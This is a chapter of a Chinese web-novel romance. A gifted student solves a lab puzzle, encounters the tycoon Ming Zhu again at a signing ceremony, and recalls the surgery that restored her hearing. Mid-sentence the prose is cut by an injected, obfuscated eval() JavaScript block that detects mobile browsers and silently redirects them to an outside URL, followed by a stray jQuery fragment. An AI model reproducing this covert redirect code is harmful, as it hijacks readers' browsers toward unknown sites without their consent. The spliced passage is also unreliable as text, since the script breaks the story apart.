“大家有没有发现,托卡马克装置室内总能听见一阵‘嗡——’的声音?”
霍知枝话音刚落,肖顷“噌”地举手,“我知道!是隔壁数据中心机组的声音!”
“没错。”
霍知枝欣慰地点点头,“那你们知不知道,数据中心会在每周日23:00至周一7:00关闭制冷系统进行维护呢?”
台下众人一脸懵地摇头,唯有秦如瑛目光炯炯,若有所思。
“我去咨询过校内电网管理处,他们说,我们的托卡马克装置室和数据中心公用的同一套电网,而每当数据中心重启机组时,电网上的电压会有一阵小幅度波动。”
秦如瑛顺势接下后半句话,“而对应的,此时托卡马克的电磁场强度也会有部分波动,影响了实验结果。”
“正是如此。我周二模拟电压波动后也能获得和周一相似的结果。”
实验室一片寂静,谁都没想到,原因并不出在实验步骤,而是出在外部条件上。
台下的乔斑斓目瞪口呆,喃喃道,“原来是这样...原来是这样!都说得通了!那位学长平时最喜欢周末熬夜打游戏,周日熬完夜顺便周一早上上班做实验!”
阴间作息,以至于才会碰上“周一实验结果才会顺利”的玄学怪谈。
秦如瑛颇为欣赏地看向霍知枝,“你做的很好。既然之前那篇论文有严重的数据错误,我会联系出版方撤回论文,新的论文就由你来牵头做实验。”
她又点了其他几人,“翁楚爵,你和霍知枝一组,争取共同一作。肖顷、斑斓,你们两位博士生负责指导。”
看着秦教授欣慰的表情,霍知枝松了口气,看来她在实验室经历的第一道考验总算是过关了。
虽然中途经历了那么多曲折,但好歹还是有惊无险。
她坐回到人群中,秦如瑛理了理衣服,站在众人前,随口扔出一个重磅炸弹。
“最近我们实验室和明日能源有限公司展开合作,共同推进一些课题的研究,如果顺利的话,还有定向实习和直接就业的机会。”
霍知枝没听过这个公司,但看着周围人骤然窃喜的表情,大概也能猜到是个不错的去处。
翁楚爵朝她眨了眨眼,凑过来道,“明日能源,是我哥和明总最近一起投资控股的一家公司。”
霍知枝愣了愣,“啊,是这样吗。”
原来明烛出现在深城是这个原因。
她忽然觉得这个世界真是太奇妙了。当她想法设法地逃离清京、离开明烛身边后,那个男人却阴魂不散、一而再再而三地再次出现在她的世界里。
就好像有一双无形的大手,将他们二人的命运紧紧绑定,就算她下一秒逃到太平洋中心的无人海岛上,都能在第二天撞见“因为飞机失事而迫降海岛”的明烛。
秦如瑛道,“本周五下午会有一场我们和明日能源的签约仪式,请大家务必着正装出席。”
只是一个小小的签约仪式而已,明烛那种大忙人应该不会参加的吧...?
...才怪!
会场掌声响起时,霍知枝盯着第一排那个徐徐起身的背影,有些无奈地想,明大总裁最近可真闲,清京硕大一个公司不管,天天呆在深城参加一个小实验室的合作仪式,这算怎么个事儿?
“让我们欢迎明氏集团总裁、明日能源董事长,明烛先生!”
霍知枝随众人一起鼓掌,她这个本科生坐在会场角落里,遥遥看见明烛起身,朝后排会场礼貌点头,那张俊朗无双的脸庞乍现时,人群中显而易见地响起一阵惊呼的喧哗。
霍知枝淡淡地鼓着掌,眼神波澜不惊。
会为明烛的外表失神是人之常情,霍知枝也曾疯狂地爱慕过这份皮囊。
只可惜,她看透了明烛骨子里的冷情与孤傲,从此之后,那副皮囊在她眼中也只是一具华而不实的袈裟罢了。
妖魔鬼怪都想要的金闪闪的袈裟,在霍知枝眼里却是一文不值的烂布。
“让我们欢迎翁氏财团董事、明日能源投资人,翁传煜先生!”
翁传煜也来了,真热闹。
霍知枝窝在椅子里,不再管台上光鲜亮丽的喧哗,戴上耳机沉浸式地看论文。
她虽然对后续实验心里有数,但学术论文看得还是太少,尤其是近三年顶刊的外文文献,还有一大块需要补足的地方。
霍知枝觉得自己像一枚种子,此刻正在疯狂汲取着环境中的养分和水源,逐渐壮大自己的身体。
她无比憧憬着自己破土而出,走向新世界的那天。
伴着断断续续的掌声,霍知枝读完了一整篇PRC上的文献,会议快要散场时,乔斑斓猫着腰溜到她身边。
“嘿,学妹,晚上有时间吗?院领导要请合作方吃饭,秦老师让我叫两个机灵点的学生陪着一起去。”
霍知枝摘了耳机,冲她抱歉一笑,“学姐,我晚上要参加班上的联谊,去不了。”
“噢~~没事没事!”
乔斑斓一副过来人的表情,“物院女生本来就不多,学妹你放心去吧,我去叫翁翁,再喊个其他课题组的人就好。”
霍知枝没说谎,她虽然的确不想去那场饭局,但晚上的联谊是一周前就定下的,班长好说歹说劝了她好久,弄得她都有些不好意思,只能答应下来。
会议散场的时间有点晚,霍知枝来不及回去换衣服,只能穿了这身略显正式的双排扣阔肩黑西装外套,走进包厢时,她把外套脱了,露出里面的平织纹黑色T恤。
即便她紧赶慢赶,还是成了最后一个到场的,霍知枝一边把外套搭上椅子,一边歉身道,“不好意思大家,实验室有个会开了比较久...”
众人纷纷表示理解,霍知枝前脚刚坐定,就有人问她。
“枝枝啊,你现在已经进实验室了?这么快!”
霍知枝点头。
“哪位老师的实验室?”
“秦如瑛,秦教授。”
“喔——牛逼啊...”
有人垂头丧气道,“我给秦教授发了三封邮件她都没回我。”
“我也是啊...教授们嫌大一新生没经验,都不收的。”
霍知枝敏锐地察觉到自己可能不小心“凡尔赛”了,默默低头喝水,尽量降低自己的存在感。
老天爷,她真不是故意的!
只不过...原来大一进实验室是很困难的事吗?
霍知枝没这方面的常识,但转头一想,她的确没在秦教授实验室里见到其他大一大二的学生,想来她对学生的要求还是很严苛的。
霍知枝知道,秦如瑛在核物理学界地位很高。她的博士生导师是如今已评上院士的华国核物理开山之祖,国内大大小小的学术奖项秦如瑛几乎已经拿遍了,只差临门一脚,就能评上院士。
这么牛逼的人竟然主动来清京找她,让她加入自己的实验室...她霍知枝真有这么大能耐?
“我听高年级学长说,秦教授已经开始独立让霍知枝做实验、准备发论文了!”
“卧槽,我费曼物理学还没整明白呢,大佬论文都写完了。”
“这才刚大一啊,太牛逼了...”
霍知枝定了定神。
客观上讲,她就是很聪明,即便在这样一个人才云集的大学里也能冲到前茅。
这难道是她的错吗?她为什么要自我贬低呢?承认自己的优点难道是什么丢人的事吗?
不管秦如瑛主动找她是为了什么,霍知枝都十分清楚,这是她一生中难得的机遇,她要死死抓住,努力向上爬,爬得越高越好,而不是陷入自怨自艾的陷阱。
旁人依旧窃窃私语着,不断朝她递来羡慕、暧昧、亦或嫉妒的神色。
月色悄然从云层里透出半张脸颊,清明的光华透过玻璃,洒在霍知枝身上,越过几层楼的高度,同样洒在走廊上那群西装革履的男男女女身上。
翁传煜走在最前头,和物院几位领导相谈甚欢,明烛慢一脚落在人后,双手插袋,神色凝青,眸子幽深,让人不敢搭话。
秦如瑛环顾一圈人群,冲乔斑斓皱眉道,“霍知枝怎么没来?我不是让你叫她了吗?”
乔斑斓吐舌,“她今晚要参加联谊,没时间。”
秦如瑛若有所思地点头,没再多说。
夜风卷起这段隐秘的对话,悠悠送到男人耳畔。明烛插在口袋里的拳头紧了紧,眸色更深。
...
“新生联谊会”并没有它的名字听起来那么高大上,其实就是一群男女吃吃喝喝,相互认识的饭局。
在这个男女比例尤其悬殊的物理学院,漂亮又聪明的霍知枝自然成了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092580|179505||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
香饽饽,聊天的话题时不时地往她身上引。
饭后班长提议玩真心话大冒险,更多隐秘试探的视线落在她身上,霍知枝顿感不妙。
果然,没几局她就抽到“鬼牌”,选了真心话。
“霍同学谈过几段恋爱?”
霍知枝:“还没谈过。”
她跟明烛的那段经历可称不上“恋爱”。
“不会吧,怎么可能?!”
“这么漂亮的妹子没谈过恋爱?”
“别说谎啊枝枝。”
霍知枝耸耸肩,笑道,“抱歉,如假包换的母胎solo,让你们失望了。”
众人一阵嬉笑,这轮就算过了。可没两轮,霍知枝又抽到了“鬼牌”。
“虽然没谈过恋爱,但你总暗恋过别人吧。”
“来吧,讲讲你第一个喜欢的人!”
霍知枝唇角轻轻勾着,眼神斜斜地望向窗外。半轮明月高挂,清冽而白淡地点缀在漆黑的天上。
见她不说话了,有人好心为她解围,“如果不想说的话可以喝一杯饮料。”
霍知枝收回视线,淡淡笑道,“没事,也并不是什么惊天动地的故事。”
她对明烛的暗恋是什么时候开始的呢?
大概是三年前的那场手术吧。
因为耳朵听不见,霍知枝从小学开始就在特殊学校就读。按照大部分聋哑人的出路,她原本应该就读职高,最后在社会上混个按摩师之类的工作,勉强讨口饭吃。
可升上初中之后,她在物理方面的特长逐渐显露,学校领导找到福利院院长,希望能将她转回普通高中,不要埋没了她的一番天赋。
可霍知枝的身体情况依旧是一大难题,即便医院说她耳朵的残疾是后天导致,仍有救治的可能,可钱谁来出?
正巧,明氏集团在那一年启动了慈善计划,向福利院捐献了大笔捐款,他们得知霍知枝的情况后,主动提出承担霍知枝做手术的医疗费用。
就这样,在一个明朗的晴天,十六岁的霍知枝被推进手术室,迎接那个成功率只有50%的听骨链重建术。
迷蒙...剧痛...
麻醉的余威像沉重的铅块,压着她的四肢,她费力地掀开沉重的眼皮,视线模糊地聚焦在病房惨白的天花板上。
寂静。
依旧是那片将她包裹了太久、令人窒息的、绝对的寂静。
霍知枝心脏猛地一沉,仿佛坠入冰窟。
没有期待中的嗡鸣,没有细微的杂音,什么都没有。
手术…失败了?
这个念头像冰冷的毒蛇瞬间缠紧了她的心脏,绞得她无法呼吸。巨大的失望和熟悉的、被世界隔绝的孤绝感汹涌而来,几乎要将她刚苏醒的脆弱意识再次吞没。
冰冷的消毒水气味顽固地盘踞在鼻腔,泪水不受控制地涌上眼眶,灼热地刺痛着,她绝望地闭上眼。
为什么…还是听不见?难道那漫长的等待和无尽的希望,终究只是一场空?
就在这绝望的深渊边缘,在她几乎要溺毙在无声的窒息里时,一个声音,毫无预兆地、清晰地、像一道金色的利剑劈开寂静之幕,直直刺入她刚刚复苏、却以为已然枯死的听觉神经。
“…感觉怎么样?还疼吗?”
那声音!
年轻、清冽,带着一种陌生的、小心翼翼的温柔,像初春破冰的溪流,带着不可思议的生命力,瞬间冲垮了她心防的堤坝。
轰——!
仿佛有惊雷在她空寂的颅腔内炸响,震得她浑身一颤。
心脏像是被一只无形的手狠狠攥住又猛地松开,随即以从未有过的、疯狂的速度擂动起来。
那是她自己的心跳声!她听到了!
连同那如阳光般穿透阴霾的陌生嗓音一起,清晰地、震撼地、铺天盖地地涌入她刚刚被唤醒的世界。
她猛地睁开被泪水模糊的双眼,用尽全身力气去寻找那声音的源头。
光影晃动中,一张年轻、英俊却全然陌生的脸庞轮廓急切地映入眼帘,他微微俯身,深沉的眼神正落在她身上。
在她跃动的瞳孔中,男人温声开口。
“寂静的旅途结束了,现在,欢迎回来。”
那刻,世界的声音扑面而来。而第一个声音,就让她听到了命运轰鸣的心跳。